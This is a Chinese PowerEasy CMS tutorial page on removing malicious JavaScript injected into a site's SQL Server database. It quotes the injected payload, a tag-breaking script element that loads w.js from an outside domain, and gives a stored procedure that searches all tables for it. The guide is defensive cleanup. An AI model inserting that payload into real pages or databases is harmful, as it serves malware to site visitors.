解析【木馬】手動(dòng)刪除動(dòng)易數(shù)據(jù)庫(kù)被注入JS代碼的方法_動(dòng)易Cms教程
問題:動(dòng)易數(shù)據(jù)庫(kù)連續(xù)幾天被注入JS代碼,那么可不可以直接從數(shù)據(jù)庫(kù)著手進(jìn)行清除木馬代碼操作呢?
數(shù)據(jù)庫(kù)被注入的代碼是:"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--
解決:發(fā)現(xiàn)在PE_CLASS表中的tips、Meta_Keywords、Meta_Description、LinkUrl字段存在注入的JS,表太多,一個(gè)一個(gè)去查,是比較費(fèi)時(shí)費(fèi)力的,那么我們可以通過一個(gè)全庫(kù)搜索的方法,建立一個(gè)存儲(chǔ)過程
create proc p_search
@str Nvarchar(1000) --要搜索的字符串
as
if @str='' return
declare @s Nvarchar(4000)
create table #t(表名 sysname,字段名 sysname)
declare tb cursor local for
select s='if exists(select 1 from ['+replace(b.name,']',']]')+'] where ['+a.name+'] like N''%'+@str+'%'')
print ''所在的表及字段: ['+b.name+'].['+a.name+']'''
from syscolumns a join sysobjects b on a.id=b.id
where b.xtype='U' and a.status>=0
and a.xtype in(175,239,99,35,231,167)
open tb
fetch next from tb into @s
while @@fetch_status=0
begin
exec(@s)
fetch next from tb into @s
end
close tb
deallocate tb
GO
執(zhí)行:p_search '"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--'
找到被注入的表及字段,執(zhí)行恢復(fù)操作,下面是一個(gè)例子
- MAC錯(cuò)誤的解決方法
- 如何屏蔽動(dòng)易后臺(tái)導(dǎo)航里的某個(gè)功能菜單?
- 動(dòng)易.NET版本留言自動(dòng)選定欄目方法
- 動(dòng)易SiteFactoty整合Discuz!NT3.0
- 在任意位置獲取根節(jié)點(diǎn)ID標(biāo)簽
- 如何開啟SiteWeaver6.8的支持,反對(duì)功能
- Windows 2008安裝動(dòng)易.NET系統(tǒng)之四----動(dòng)易系統(tǒng)安裝篇
- Windows 2008安裝動(dòng)易.NET系統(tǒng)之三----數(shù)據(jù)庫(kù)篇
- Windows 2008安裝動(dòng)易.NET系統(tǒng)之二----IIS、目錄環(huán)境配置篇
- 數(shù)據(jù)庫(kù)修復(fù),SQL Server 2005內(nèi)部操作不一致的處理
- 如何安裝動(dòng)易.net程序權(quán)限配置
- 為什么提示對(duì)Windows系統(tǒng)文件夾下的Temp目錄沒有訪問權(quán)限?
動(dòng)易Cms教程教程Rss訂閱Cms教程搜索
動(dòng)易Cms教程推薦
- FLASH在模板中的調(diào)用方法
- 如何在文內(nèi)容頁(yè)調(diào)用文章簡(jiǎn)介?
- 網(wǎng)頁(yè)教程:CSS中文教程
- 首頁(yè)留言調(diào)用:XXX己回復(fù) 終極解決辦法
- 怎樣顯示商品品牌列表
- 動(dòng)易商城報(bào)價(jià)與商品多選購(gòu)標(biāo)簽
- 關(guān)于動(dòng)易+動(dòng)網(wǎng)+Oblog三方整合教程的整合
- 為什么訪問SQL版時(shí)出現(xiàn)對(duì)象名
- 如何修改前臺(tái)會(huì)員中心添加文章操作時(shí)間過長(zhǎng)會(huì)提示要重新登錄
- 如何在網(wǎng)站首頁(yè)中添加動(dòng)易系統(tǒng)的搜索代碼?
- 相關(guān)鏈接:
復(fù)制本頁(yè)鏈接| 搜索解析【木馬】手動(dòng)刪除動(dòng)易數(shù)據(jù)庫(kù)被注入JS代碼的方法
- 教程說明:
動(dòng)易Cms教程-解析【木馬】手動(dòng)刪除動(dòng)易數(shù)據(jù)庫(kù)被注入JS代碼的方法
。